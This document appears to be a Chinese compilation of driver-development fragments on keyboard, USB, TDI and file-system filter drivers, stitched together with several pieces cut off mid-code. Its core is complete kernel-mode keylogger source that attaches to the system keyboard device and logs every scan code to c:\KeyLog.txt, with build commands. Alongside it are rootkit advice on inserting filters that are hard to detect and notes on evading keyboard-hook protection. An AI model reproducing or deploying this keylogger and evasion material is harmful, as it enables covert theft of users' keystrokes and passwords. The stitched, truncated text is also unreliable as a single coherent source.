驱动程序开发技术-过滤键盘驱动

合集下载

构造USB过滤驱动程序

构造USB过滤驱动程序
2 欢迎光临中国最大的电子工程师应用网站 网址:
电子下载站 资料版权归合法所有者所有
<< status << "\n"; delete pFilterDevice; } else { m_Unit++; } return status; } else { T << "Failed to allocate UsbFilterDevice" << (ULONG) m_Unit << "\n"; return STATUS_INSUFFICIENT_RESOURCES; } }
如何构造一个简单的 USB 过滤驱动程序 本文分三部分来介绍如何构造一个简单的 USB 过滤驱动程序,包括“基本原理”、“程序的 实现”、“使用 INF 安装”。此文的目的在于希望读者了解基本原理后,可以使用除 DDK 以 外最流行也最方便的驱动开发工具 DriverStudio 来实现一个自己的过滤驱动,并正确地安 装。 一、基本原理 我们知道,WDM(和 KDM)是分层的,在构造设备栈时,IO 管理器可以使一个设备对象附加到 另外一个初始驱动程序创建的设备对象上。与初始设备对象相关的驱动程序决定的 IRP,也将 被发送到附加的设备对象相关的驱动程序上。这个被附加的驱动程序便是过滤驱动程序。如 右图,过滤驱动可以在设备栈的任何层次中插入。IO 管理器发出的 IRP 将会沿着右图的顺序 从上往下传递并返回。 因此, 我们可以使用过滤驱动程序来检查、 修改、 完成它接收到的 IRP, 或者构造自己的 IRP。 上面这种文字是很枯燥的,好在“前人”已经写过一些范例以供我们更好地理解这些概 念。读过 Waltz Oney 的《Programming Windows Driver Mode》一书的读者大概都知道 Waltz Oney 提 供 的 范 例 中 有 一 个 关 于 USB 过 滤 器 ( 第 九 章 ) 的 例 子 , 而 在 此 基 础 上 , 《USB Design By Example》()的作者 John Hyde 实现了一 个 USB 键盘过滤驱动程序, 即给此程序增加了一个“拦截(Intercept)”功能来处理 USB 键盘 的 Report 以实现特定的功能:当驱动程序在 IRP_MJ_INTERNAL_DEVICE_CONTROL 设置的完成 例程从 USB 设备拦截到一个 Get_Report_Descriptor 时, 拦截程序将此 Descriptor 中的 USAGE 值从“Keyboard”改为“UserDefined”,再返回给系统。 我们可以从这个例子中获得一些灵感,比如,在 Win2k 下,键盘是由 OS 独占访问的,我们可 以通过这种方式使之可以让用户自由访问;我们也可以拦截其他 Report_Descriptor,将部 分键重新定义,以满足特殊的要求;如果你愿意再做一个用户态的程序,你还可以将你拦截 到的键值传递给你的用户态程序,以实现象联想、实达等国内电脑大厂出品的那些键盘上的 各种实用的功能。 二、程序的实现 Waltz Oney 和 John Hyde 的例子已经写得很详细了,读者可以不用修改一个字节便顺利地编 译生成一个过滤驱动程序。 本文的目的在于使用 DriverStudio 组件 Driverworks 来实现同样 的功能。 相信读者读到这篇文章时,已经对 DriverStudio 有了很多的了解。DriverStudio 作为一个 以 C++为基础的“快速”驱动开发工具,它封装了基本上所有的 DDK 的函数,其集成在 VC++ 中的 DriverWizard,可以很方便地引导你完成设备驱动程序开发的全过程,能根据你的硬件 种类自动生成设备驱动程序源代码,并提供了很多范例程序。当然,这些例子中便包含一个 USB Filter 驱动程序的框架。在不侵犯版权的前提下,充分利用现有共享的、免费的、授权 的代码是我们的一贯作法。我们下面便以此范例为基础来作修改。 我们的目的是做一个 HID 小驱动程序 hidusb.sys 的 Lower Filter,它附加在“人机接口设 备” ,通过拦截 USB 的 Get_Report_Descriptor 来修改其返回值,当它发现该 Descriptor 的 Usage 为“Keyboard”时,将其改为“UserDefined”,如此我们便可以完全控制这只键 盘。具体做法是,拦截 IRP_MJ_INTERNAL_DEVICE_CONTROL,并检查其 IOCTL 代码及 URB,如 果 满 足 IOCTRL 功 能 代 码 为 IOCTL_INTERNAL_USB_SUBMIT_URB 以 及 URB 功 能 代 码 为

笫7章过滤驱动

笫7章过滤驱动

笫7章:过滤驱动概述这章主要讲述文件过滤驱动和网络过滤驱动。

过滤驱动主要用于在上层的软件和下层的硬件之间进行分层通信。

通过栈、分层和过滤可以把硬件和软件通过任意数量的层连接起来,这种分层方法使得我们可以在一个现有的栈中插入自己的过滤器。

在一个栈中插入我们自己的层是非常难被检测到的,但是却能对所有通过栈的通信进行完全的控制。

当这个栈是控制着一张网卡或者一个磁盘的时候这就变得非常有用了。

本章包括下面的内容。

过滤驱动的插入。

文件系统过滤驱动。

网络过滤驱动。

过滤技术的一个综合实例过滤驱动的插入在一个驱动栈中插入一个驱动能够让我们的rootkit对操作系统进行一些特殊的控制,这种技术被广泛地应用于杀毒软件、加密软件、和压缩软件中。

事实上,它还有很多用途,驱动加载器为了能以正确地顺序加载所有有滤过驱动必须去组织好它们。

注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 这个项指明了要加载的服务和驱动。

如果你在注册表中查看这个项你会发现里面有好几百个服务和驱动条目,当使用本书提供的SCMLoader来加载一个驱动时也会在这里生成一个以MyDeviceDriver开头的项。

到目前为止,SCMLoader 要加载一个on-demand (SERVICE_DEMAND_START) 类型的设备驱动需要执行"net start MyDeviceDriver" 命令才能成功加载。

为了进行文件系统过滤,rootkit必须作为一个automatic (SERVICE_AUTO_START) 类型的设备驱动被加载在"Filter" 组里。

因为on-demand loading比Autoloading 更具有指导意义,所以在讲解时继续使用SERVICE_ DEMAND_START 和“net start mydevicedriver”,但我们在本章的文件目录下提供了另一个新的SCMLoader(Wrox/Wiley )供大家下载,这个升级版的loader允许rootkit在启动的时候自动加载,应该用于最终发行版rootkkit 的插入。

WindowsTDI过滤驱动开发(学习资料)

WindowsTDI过滤驱动开发(学习资料)

[版权所有] 本文作者是楚狂人,代码来源于开源工程tdifw与DDK的例子, 有问题欢迎与我联系讨论。

mail:******************* QQ: 16191935 msn:************************----------------------------------------------------------- Windows TDI过滤驱动开发 目 录(0) TDI概要(1) 准备工作(2) TDI设备与驱动入手(3) 绑定设备(4) 简单的处理请求(5) 基础过滤框架(6) 主要过滤的请求类型(7) CREATE的过滤(8) 准备解析ip地址与端口(9) 获取生成的IP地址和端口(10) 连接终端的生成与相关信息的保存(11) TDI_ASSOCIATE_ADDRESS的过滤(12) TDI_CONNECT的过滤(13) TDI_SEND,TDI_RECEIVE,TDI_SEND_DATAGRAM,TDI_RECEIVE_DATAGRAM(14) 设置事件(15) TDI_EVENT_CONNECT类型的设置事件的过滤(16) 一个传说中的问题(17) 收尾与清理的工作(0) TDI概要 最早出现的网络驱动应该是网卡驱动,这是Windows的理所当然的需求,为了进一步分割应用程序的网络数据传输与下层协议直到下层硬件的关系,又出现了协议驱动,后来微软和硬件商联合制定了NDIS标准,作为从硬件到协议的内核驱动程序的调用接口标准,而协议驱动与应用层的API之间,则出现了TDI接口。

最近国内安全软件的开发兴起,网络驱动的开发在其中有不少的应用,如果我们学习TDI接口的话,可能有以下一些目的: 自己要开发协议驱动,向上提供TDI接口,这种可能性存在,但不广泛。

我们想自己调用TDI接口,来进行网络数据传输,意义不大。

我们对TDI进行协议层过滤,开发防火墙或类似安全监控软件,这种应用还是比较多的。

操作系统课程设计键盘驱动

操作系统课程设计键盘驱动

操作系统课程设计键盘驱动一、实验选题 (1)二、模块整体功能介绍及主要目标 (1)三、头文件的分析 (2)四、数据结构的分析 (2)1、数组tty_table[] (2)2、tty_struct 数据结构 (2)3、tty 等待队列数据结构 (3)4、各个数据结构间的关系图 (3)五、函数的分析 (4)1、采用中断驱动的I / O设备键盘的循环周期 (4)2、键盘中断处理程序 (5)3、ctrl和alt键的处理 (7)4、caps、scroll、num键的处理 (8)5、数字小键盘的处理 (11)6、减号键的处理 (13)7、功能键的处理 (14)8、do_self的处理 (15)9、左,右shift键的处理 (16)六、分析体会及亮点说明 (16)七、参考文献 (20)一、实验选题实验题目是:Linux0.11字符设备驱动中的键盘驱动程序源代码分析,这部分涉及到操作系统的中断、I/O应用接口、I/O子系统等相关知识,程序源代码参考Linux0.11中kernel目录下的keyboard.s文件。

二、模块整体功能介绍及主要目标该模块键盘中断处理程序 keyboard.s 主要用于读入用户键入的字符并放入read_q 缓冲队列中。

其具体实现机制是:当用户在键盘上键入了一个字符时,会引起键盘中断响应(中断请求信号IRQ1,对应中断号INT 33),此时键盘中断处理程序就会从键盘控制器读入对应的键盘扫描码,然后根据使用的键盘扫描码映射表译成相应字符,放入tty 读队列read_q 中。

然后调用中断处理程序的C函数do_tty_interrupt(),它又直接调用行规则函数copy_to_cooked()对该字符进行过滤处理,并放入tty 辅助队列secondary 中,同时把该字符放入tty 写队列write_q 中,并调用写控制台函数con_write()。

此时如果该终端的回显(echo)属性是设置的,则该字符会显示到屏幕上。

Windows文件系统的过滤器驱动程序设计

Windows文件系统的过滤器驱动程序设计

Windows文件系统的过滤器驱动程序设计过滤器驱动程序是Windows操作系统中的一种特殊类型的驱动程序,用于实现文件系统层面的数据过滤和处理。

它可以截取文件系统操作,对文件或目录的访问进行拦截和修改,以实现特定的功能或策略。

1. 过滤器驱动程序的种类:Windows操作系统支持多种类型的过滤器驱动程序,包括文件系统过滤器驱动程序、网络过滤器驱动程序和通用过滤器驱动程序等。

其中,文件系统过滤器驱动程序是最常见的类型,用于截获和处理文件系统操作。

2.过滤器驱动程序的工作原理:过滤器驱动程序通过在文件系统的驱动栈中插入自身的过滤器层,来截获文件系统的操作。

当应用程序对文件或目录进行操作时,过滤器驱动程序可以截获这些操作并进行相关处理,比如拒绝访问、修改文件内容等。

3. 过滤器驱动程序的开发工具:Windows提供了一些开发工具和框架,可以帮助开发者设计和实现过滤器驱动程序。

比如,Windows Driver Kit (WDK)中包含了一些示例代码和文档,可以帮助开发者快速入门;而Windows Filter Manager (FltMgr)提供了一个高级的API接口,用于编写和管理过滤器驱动程序。

4.过滤器驱动程序的功能:过滤器驱动程序通常用于实现一些文件系统相关的功能或策略,比如文件加密、访问控制、实时监控等。

开发者可以根据需求设计和实现不同的功能模块,并在过滤器驱动程序中进行集成和管理。

5.过滤器驱动程序的资源管理:过滤器驱动程序在运行过程中需要占用一定的系统资源,包括内存、CPU等。

开发者需要合理地管理这些资源,避免造成系统性能下降或不稳定。

总之,Windows文件系统的过滤器驱动程序设计是一个相对复杂的任务,需要开发者对Windows操作系统的内部机制有一定的了解和掌握。

通过合理的设计和实现,可以实现各种不同的功能和策略,提升系统的安全性和稳定性。

记录本机按键的键盘过滤驱动

记录本机按键的键盘过滤驱动

记录本机按键的键盘过滤驱动Drv.hpp:extern "C"//在以下头文件中包含的函数原形编译到库中里全都生成C风格的函数名,如果不加EXTERN C的话生的成的C++风格的函数名,不好识别{#include <ddk\ntddk.h>#include <ddk\ntddkbd.h>#include <stdio.h>#include <stdlib.h>}//typedef struct _DeviceExtension//定义设备扩展结构,驱动程序中允许有这样一个设备扩展结构,里面一般放些本驱动需要用到的变量{PDEVICE_OBJECT pThisDevice;//指向这个设备对象的指针UNICODE_STRING DeviceName;//设备名UNICODE_STRING SymboLinkName;//连接符号名PDEVICE_OBJECT KbdDevice;//指向键盘设备的指针,将来会用到PIRP pIrp;//IRP指针(IRP刚开始练习驱动的时候可以理解成类似于RING3下的窗口消息,只不过它比窗口消息更复杂(相当的复杂)USHORT KeyCode;//用来储存将来截获的键盘扫描码bool IsHook;//一个标志,如果开始截获置其为真,否则为假bool ShouldUnload;//将被卸载标志,同上KEVENT kEvent;//定义一个内核事件}DEVICE_EXTENSION,*PDEVICE_EXTENSION;//extern "C" NTSTA TUS STDCALL DriverEntry(IN PDRIVER_OBJECT,IN PUNICODE_STRING);//由于是用C++编译器编译的,所以驱动入口函数要加EXTERN C,否则编译成C++风格的函数名的话无法识别,其余函数不用加EXTERN,编译器自动识别了NTSTATUS STDCALL CreateDevice(IN PDRIVER_OBJECT);//创建一个虚拟设备,一个驱动程序一般需要有一个设备对象void STDCALL DrvUnload(IN PDRIVER_OBJECT);//卸载函数,如果驱动没有它的话无法卸载NTSTATUS STDCALL DrvDispatch(IN PDEVICE_OBJECT,IN PIRP);//刚开始可以理解成为内核消息处理函数,有点像RING3下的CALLBACK WndProc,对这个驱动来说没什么用的内核消息都发向它:) NTSTATUS STDCALL DispatchRead(IN PDEVICE_OBJECT,IN PIRP);//当驱动取得读取一个按键消息时用该函数来处理NTSTATUS STDCALL CompleteFunc(IN PDEVICE_OBJECT,IN PIRP,IN PVOID);//IRP的完成例程,当IRP被处理完之后会沿调用栈向上调用各个完成例程,一个IRP会有多个级别,一步一步处理void STDCALL CancelRoutine(IN PDEVICE_OBJECT,IN PIRP);//取消例程,有点像完成例程吧,大家研究明白了告诉我一下:)void STDCALL ThreadProc(PVOID);//在这个驱动中会创建一个内核线程,这个就是线程函数//Drv.cpp:#include "Drv.h"//@@@@@@@@@@@@@@@@@@@@@@@@@.驱动入口NTSTATUS STDCALL DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING pRegistry Path)//驱动程序入口,内核会传给驱动程序两个参数一个是内核生成的驱动对象,另一个是注册表路径{NTSTATUS Status;//内核状态变量,表明驱动在内核中运行的各种状态for(int i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)//IRP_MJ_MAXIMUM_FUNCTION是一个常量,表明内核产生的和驱动程序将接收到的各种需要处理的事件的个数{pDriverObject->MajorFunction[i]=DrvDispatch;//把所有的事件都指向DrvDispatch函数,一般的事件我们没有用到}pDriverObject->DriverUnload=DrvUnload;//必需要有DrvUnload函数驱动才能卸载pDriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;//我们只关心MajorFunction[IRP_MJ_READ],MajorFunction是一个指向函数的指针数组,它的第IRP_MJ_READ个元素所指向的函数将被用来处理键盘读事件Status=CreateDevice(pDriverObject);//Status表示CreateDevice(pDriverObject)返回的内核状态,如果成功创建设备的话NT_SUCCESS(Status)宏返回的值是真return Status;//返回状态,至此驱动入口函数结束,可见入口函数只是设置一些回调函数及创建设备的功能,当然,如果你想在入口函数中做些什么事的话,大家可以自己去试试,最容易的就是让系统蓝屏:)}//@@@@@@@@@@@@@@@@@@@@@@@@@.创建设备NTSTATUS STDCALL CreateDevice(IN PDRIVER_OBJECT pDriverObject)//设备创建函数,它的参数是系统生成的并传给入口函数的驱动对象(注意要分清驱动对象与设备对象,驱动对象是描述这个驱动程序的,而设备对象是描述所创建的设备的){DbgPrint("CreateDevice\n");//内核调试语句(可以在调试软件中显示出来)NTSTATUS Status;PDEVICE_OBJECT pDeviceObject;//指向设备对象的指针,在驱动中,指向各种对象的指针很多,这是因为内核中用到的对象很多都是系统创建的,程序并不需要创建各种对象,所以用一个自己的指针指向这个对象操作就OK了PDEVICE_EXTENSION pDeviceExtension;//指向我们自己创建的驱动扩展结构体UNICODE_STRING DeviceName;//设备名UNICODE_STRING ustrKbdDeviceName;//我们将要挂载到它的键盘设备对象PDEVICE_OBJECT pTargetDevice;//目标设备指针RtlInitUnicodeString(&DeviceName,L"\\Device\\QqDevice");//UNICODESTRING更加安全,它不光有字符串数组,还有描述它的长度等信息的变量,应该说是一个结构RtlInitUnicodeString作用是初始化一个UNICODESTRING,内核中的字符串都用UNICODESTRINGStatus=IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION),&DeviceName,FILE_DEVICE_KEYB OARD,0,TRUE,&pDeviceObject);//一个内核API,作用是创建一个内核设备对象if(!NT_SUCCESS(Status))//判断是否创建成功{DbgPrint("Create Device Error\n");return Status;}DbgPrint("CreateDevice Successfully\n");pDeviceObject->Flags|=DO_BUFFERED_IO;//我们把我们自己声明的pDeviceObject传给IoCreateDevice 函数,当函数成功运行时,这个指针就已经指向了一个由系统创建的设备对象,我们现在可以操作这个设备对象了:)pDeviceExtension=(PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;//大家向上看,在创建设备时我们把设备扩展结构的大小传给了创建函数,由此创建的设备对象中的DeviceExtension指针就会指向一个由系统分配的和设备扩展结构相同大小的一块内存区域,下面几行语句就是把一些我们要保存的变量放到这块内存区域中,这块内存区域就相当于一个设备扩展结构,不知道我说的明白不:)pDeviceExtension->pThisDevice=pDeviceObject;//把设备对象指针放进去pDeviceExtension->DeviceName=DeviceName;//把设备名放进去RtlInitUnicodeString(&ustrKbdDeviceName,L"\\Device\\KeyboardClass0");//创建一个我们要挂载到其上面的的设备的设备名,这个驱动是一个截获按键信息的驱动,所以我们挂KeyboardClass0,KeyboardClass0这个设备名是系统创建的,它由系统键盘驱动程序创建Status=IoAttachDevice(pDeviceObject,&ustrKbdDeviceName,&pTargetDevice);//这个函数把我们创建的设备对象挂载到键盘设备对象上,为什么要挂载呢?因为挂载以后,凡是有按键信息发往键盘驱动的都会先经过我们的设备对象,这样我们就可以截获它了:)if(!NT_SUCCESS(Status))//判断是否挂载成功{DbgPrint("Attach Device Error\n");}else{DbgPrint("Attach Device Successful\n");pDeviceExtension->KbdDevice=pTargetDevice;}//Create SymboLinkUNICODE_STRING SymboLink;//声明一个UNICODESTRING变量来存放连接符号RtlInitUnicodeString(&SymboLink,L"\\??\\QqSymboLink");//我们的设备就叫QqSymboLink,什么是连接符号呢?比如我们在运行中输入E:就会访问到E盘,在内核中这个磁盘分区是不叫这个"E:"这个名子的,我们只是通过这个分区的连接符号名来访问它,用RING3的程序来控制驱动也用到连接符号pDeviceExtension->SymboLinkName=SymboLink;//把连接符号的名称也放到设备扩展中去保存Status=IoCreateSymbolicLink(&SymboLink,&DeviceName);//创建连接符号if(!NT_SUCCESS(Status))//判断创建连接符号的状态是否成功{IoDeleteDevice(pDeviceObject);return Status;}DbgPrint("SymboLink Create Successfully\n");//Create EventKeInitializeEvent(&pDeviceExtension->kEvent,NotificationEvent,false);//创建一个内核事件对象,它和RING3的EVENT差不多,也是用有信号和无信号来控制程序运行,下面会用到它:)//pDeviceExtension->ShouldUnload=false;//卸载标记,什么时候我想卸载这个设备及驱动把ShouldUnload置为TRUEreturn Status;}//@@@@@@@@@@@@@@@@@@@@@@@@@.卸载驱动void STDCALL DrvUnload(IN PDRIVER_OBJECT pDriverObject)//参数是系统分配的驱动对象指针{DbgPrint("Driver Unload\n");PDEVICE_OBJECT pTempDeviceObject;//创建一个临时的设备指针pTempDeviceObject=pDriverObject->DeviceObject;//通过驱动对象寻找到设备对象并将其值赋予临时设备对象PDEVICE_EXTENSION pDeviceExtension=(PDEVICE_EXTENSION)pTempDeviceObject->DeviceExtensio n;//再找到设备扩展结构体IoDetachDevice(pDeviceExtension->KbdDevice);//将我们的设备对象和键盘设备对象取消挂载IoDeleteSymbolicLink(&pDeviceExtension->SymboLinkName);//删除连接符号IoDeleteDevice(pTempDeviceObject);//删除设备对象return;}//@@@@@@@@@@@@@@@@@@@@@@@@@.分发函数NTSTATUS STDCALL DrvDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp)//分发函数,参数是设备对象及IRP指针,RING3的消息相对简单用一个MSG结构就可以表示,内核消息非常复杂,所以IRP结构体很复杂,由IO管理器创建,有点象是RING3的消息{DbgPrint("DrvDispatch\n");PIO_STACK_LOCA TION pIoSpLoc=IoGetCurrentIrpStackLocation(pIrp);//IRP处理机制和RING3消息处理机制有些不同,RING3的MSG被发送到各个窗口,并由窗口函数定义的处理过程来处理,我个人觉得IRP是由IO管理器处理,IO管理器把IRP中各个调用栈取出来,根据这个IRP调用栈规定的驱动及处理函数来处理它,这个函数就是取出IRP的栈顶ULONG IoControlCode;//声明一个控制码,备用switch(pIoSpLoc->MajorFunction)//呵呵,这个地方有点象RING3窗口程序吧,IRP中的调用栈中的MajorFunction存放的就是一个事件,比如以下几个CASE中所定义的一样{case IRP_MJ_CREA TE:DbgPrint("IRP_MJ_CREATE\n");break;case IRP_MJ_CLOSE:DbgPrint("IRP_MJ_CLOSE\n");break;case IRP_MJ_WRITE:DbgPrint("IRP_MJ_WRITE\n");break;case IRP_MJ_DEVICE_CONTROL:DbgPrint("IRP_MJ_DEVICE_CONTROL\n");IoControlCode=pIoSpLoc->Parameters.DeviceIoControl.IoControlCode;if(IoControlCode==0x200){DbgPrint("IoControlCode 0x200\n");}break;default:break;}pIrp->IoStatus.Status=STATUS_SUCCESS;//处理完之后把IRP状态置为成功pIrp->rmation=0;//规定为0,为什么请你研究研究告诉我一下IoCompleteRequest(pIrp,IO_NO_INCREMENT);告诉IO管理器这个IRP我完全处理完了,请销毁它吧return pIrp->IoStatus.Status;//返回,这个函数主要是处理一些我不太需要的事件的}//@@@@@@@@@@@@@@@@@@@@@@@@@.读取例程NTSTATUS STDCALL DispatchRead(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp)//这个函数是处理我需要的READ事件的{DbgPrint("Dispatch Read\n");((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->pIrp=pIrp;//先把这个IRP的指针存起来if(!((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->ShouldUnload)//如果想卸载这个驱动时执行ELSE块,如果不想卸载想继续截获时执行执行IF块,ELSE块把IRP的当前调用栈直接跳过,IF块把当前调用栈复制到下一个调用栈,并设置完成函数,所谓的完成函数就是当IRP处理完之后调用的一个函数,这时我们所需要的信息会包含在IRP中,我们通过完成函数来把它取出来{IoCopyCurrentIrpStackLocationToNext(pIrp);IoSetCompletionRoutine(pIrp,CompleteFunc,pDeviceObject,true,true,true);}else{IoSkipCurrentIrpStackLocation(pIrp);}return IoCallDriver(((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->KbdDevice,pIrp);//关键,我们初步处理完这个IRP后,还要把这个IRP传送给真正的键盘设备来处理,否则按任何按键的话电脑都没有反应了,呵呵,那不是没用了吗:)}//@@@@@@@@@@@@@@@@@@@@@@@@@.完成函数NTSTATUS STDCALL CompleteFunc(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp,IN PVOID Context) //参数是设备对象,IRP指针,一个PVOID指针{DbgPrint("Complete Routine\n");NTSTATUS Status;HANDLE hThread;//线程句柄,备用PIO_STACK_LOCA TION pIrpSp;//IRP调用栈指针PKEYBOARD_INPUT_DA TA pKeyData;//DDK中定义的结构,用来存放按键数据pIrpSp=IoGetCurrentIrpStackLocation(pIrp);//取得当前调用栈if(NT_SUCCESS(pIrp->IoStatus.Status))//如果当前IRP状态为成功的话{pKeyData=(PKEYBOARD_INPUT_DA TA)pIrp->AssociatedIrp.SystemBuffer;//pIrp->AssociatedIrp.System Buffer指针指向的内存区域里存放的是PKEYBOARD_INPUT_DATA结构,获取它if(pIrp->IoStatus.Status==STA TUS_SUCCESS&&pKeyData->Flags==1)//如果IRP成功返回且PKEYBOARD_INPUT_DA TA中旗标为1{DbgPrint("%d\n",pKeyData->MakeCode);((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->KeyCode=pKeyData->MakeCode;//呵呵,当IRP处理完时按键的扫描码就在这:)DbgPrint("Event Setted\n");if(pKeyData->MakeCode==68)当扫描码为68时即按下F10时{Status=PsCreateSystemThread(&hThread,(ACCESS_MASK)0,NULL,(HANDLE)0,NULL,ThreadProc, pDeviceObject->DeviceExtension);//开启线程记录按键if(!NT_SUCCESS(Status)){DbgPrint("Thread Create Error\n");//如果创建不成功}else{ZwClose(hThread);//如果创建成功,关闭线程句柄,让它自生自灭吧}}else if(pKeyData->MakeCode==87)//当按下F11时,不记录按键{((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->IsHook=false;//不记录}else if(pKeyData->MakeCode==88)//当按下F12时{((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->IsHook=false;//取消记录按键((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->ShouldUnload=true;//置卸载驱动标志}KeSetEvent(&((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->kEvent,0,false);//使内核事件为有信号}if(pIrp->PendingReturned)//如果IRP是异步返回{IoMarkIrpPending(pIrp);//标记该IRP为异步}}return STA TUS_SUCCESS;}//@@@@@@@@@@@@@@@@@@@@@@@@@.线程函数void STDCALL ThreadProc(PVOID DevExt)//参数是(VOID*)设备扩展结构指针{HANDLE hFile;//为建立文件记录按键做准备NTSTATUS Status;PDEVICE_EXTENSION pDeviceExtension=(PDEVICE_EXTENSION)DevExt;//从参数获得设备扩展结构指针UNICODE_STRING ustrFileName;//声明文件名OBJECT_ATTRIBUTES ObjectAttributes;//创建文件所需要的结构IO_STATUS_BLOCK IoStatusBlock;//pDeviceExtension->IsHook=true;//现在开始记录RtlInitUnicodeString(&ustrFileName,L"\\??\\c:\\KeyLog.txt");//存放的文件名,注意写法和RING3下不同InitializeObjectAttributes(&ObjectAttributes,&ustrFileName,OBJ_CASE_INSENSITIVE,NULL,NUL L);//处理OBJECT_ATTRIBUTES结构DbgPrint("In Thread\n");Status=ZwCreateFile(&hFile,GENERIC_READ|GENERIC_WRITE,&ObjectAttributes,&IoStatusBlock,N ULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);//建立文件if(!NT_SUCCESS(Status)){DbgPrint("Create File Error\n");}while(pDeviceExtension->IsHook)//线程中的循环{KeWaitForSingleObject(&pDeviceExtension->kEvent,Executive,KernelMode,false,NULL);等待事件,否则的话CPU占用率100%ZwWriteFile(hFile,NULL,NULL,NULL,&IoStatusBlock,&pDeviceExtension->KeyCode,sizeof(US HORT),NULL,NULL);//把扫描码写入文件DbgPrint("One Loop With Event In Thread\n");KeResetEvent(&pDeviceExtension->kEvent);//使用事件对象为无信号,等待下一按键将其置为有信号}ZwClose(hFile);//当不记录时关闭文件PsTerminateSystemThread(STATUS_SUCCESS);//中止线程DbgPrint("Thread Exited\n");return;}这个驱动用MINGW32编译,命令行为:编译:g++ -o "文件名.obj" -Wall -O3 -c "文件名.cpp"连接:ld "文件名.obj" --subsystem=native --image-base=0x10000 --file-alignment=0x4 --section-alignment=0x4 --entry=_Driver Entry@8 -nostartfiles --nostdlib -L "库路径" -shared -l ntoskrnl -o "文件名.sys"这个驱动是一个KERNEL MODE DRIVER,运行的话用KMD加载器加载一下就行了。

驱动键盘 Logger详解

驱动键盘 Logger详解

驱动键盘Logger详解首先讲述一下键盘消息的传递流程:Win32程序是基于消息驱动的程序,其中就有键盘消息。

键盘消息是由csrss.exe进程的win32!RaoInputThread线程发送给应用程序的。

在Ring3层我们可以使用SetWindowsHook(WH_KEYBOARD或者WM_MESSAGE类型的钩子)的方法获得键盘消息。

win32!RawInputThread这个线程通过一个GUID(GUID_CLASS_KEYBOARD)获得键盘设备栈中的PDO的符号链接名。

win32!RawInputThread执行到win32k!openDevice,调用zwCreateFile打开设备,然后调用zwReadFile与键盘驱动通信了。

它会创建一个IRP_MJREAD的IRP发送给键盘驱动,而键盘驱动通常使这个IRP Pending,这样它就会一直被放在那里等待,等来来自键盘的数据,即win32!RawInputThread这个线程也会一直等待,等待这个读操作的完成。

当键盘有键按下时这个IRP将会完成,win32!RawInputThread 将对得到的数据进行处理,分发给合适的进程(通常是获得焦点的进程)这时win32!RawInputThread又会立即再调用nt!ZwReadFile要求读入数据,又开始了下一个等待,周而复始。

常见的键盘保护都会关注消息钩子,因此用SetWindowsHook做键盘记录容易暴露。

我们看键盘消息在驱动的传递过程:Kdbclass.sys—>i8042prt.sys—>ACPI.sys。

用DeviceTree可以看到i8042prt.sys建立了一个unnamed的设备,attach在Kdbclass.sys建立的KeyboardClass0设备上。

从名字可以看出来Kdbclass.sys是个类驱动,表示键盘这一类,无论是ps/2键盘还是usb键盘,都走这个驱动。

键盘驱动

键盘驱动

在windows中,键盘驱动所创建的设备对象叫做\Device\KeyboardClass0.过滤驱动自己首先创建一个设备对象,并设置派遣函数,然后将自己挂在\Device\KeyboardClass0之上即可。

入口函数NTSTATUS DriverEntry{IN PDRIVER_OBJECT DriverObjectIN PUNICODE_STRING RegistryPath}ULONG i;DbgPrint((*Ctrl2cap.SYS:entering DriverEntry\n*));//对所有的IRP进行过滤For (i = 0;i < IRP_MJ_AXIMUM_FUNCTION;I++){//将所有的IRP派遣函数都设置为Ctrl2capDispatchFeneralDriverObject->MajorFunction[i]= Ctrl2capDispatenGeneral;}//设置IRP_MJ_RRAD的派遣喊出DriverObject->MajorFunction[IRP_MJ_READ]=Ctr12capDispatenGeneral;//Ctr12capInit负责挂载过滤驱动Renturn Ctr12capInit(DriverObject);}挂载过滤驱动挂载过滤驱动的步骤被封装在Ctrl2capInit函数里。

这里构造一个UNICODE字符串,该字符串就是键盘驱动的设备名。

然后创建一个新的设备对象,并将自己附加在键盘设备驱动之上。

一旦附加成功,所有对键盘的读写请求,都会经过这个过滤设备。

NTSTATUS Ctrl2capInit{IN PDRIVER_OBJECT DriverObject}{CCHAR ntNameBuffer[64]STRING ntNameString;UNICODE_STRING ntUnicodeString;PDEVICE_OBJECT device;NTSTATUS status;PDEVICE_EXTENSION devExt;WCHAR messageBuffer{]=L“Ctr;2cap Initialized\n”;UNICODE_STRING messageUnicodeString;//构造UNICODE字符串Spintf( ntNameBUFFER,”\\Device\\KeyboardClass()”);RtlInitAnsiString(&ntNameString,neNameBuffer);RtlAnsiStringToUnicodeString(&ntUnicodeString,&ntNameString,TRUE);//创建设备对象Status = IoCreateDevice(DriverObjcet,sizeof(DEVICE_EXTENSION),NULL,FILE_DEVICE_KEYBOARD,0,FALSE,&device);//判断是否成功创建设备对象If(!NT_SUCCESS(status)){DbgPrint((“Ctrl2cap:Keyboard hook failed to create device!\n”));RtlFreeUnicodeString(& ntUnicodeSrring);Return STA TUS_SUCCESS;}//将内存清零RtlZeroMemory(device->DeviceExtension,sizeof(DEVICE_EXTENSION));//获得设备扩展devExt=(PDEVICE_EXTENSION) device->DeviceExtension;//设置对象标志Device->Flags != DO_BUFFERED_IO;Dvice->Flags &=~DO_DEVICE_INITIALIZING;//附加过滤驱动Status = IoAttachDevice(device,&ntUnicodsStrin,&devExt->TopOfStack;//判断操作是否成功If(!NT_SUCCESS(STATUS)){DBGpRINT({“Ctrl2cap:Connect with keyboard failed!\n”));//删除设备IoDeleteDevice(device);//释放字符串RtIFreeUnicodeString( &ntUnicodeString);Return STA 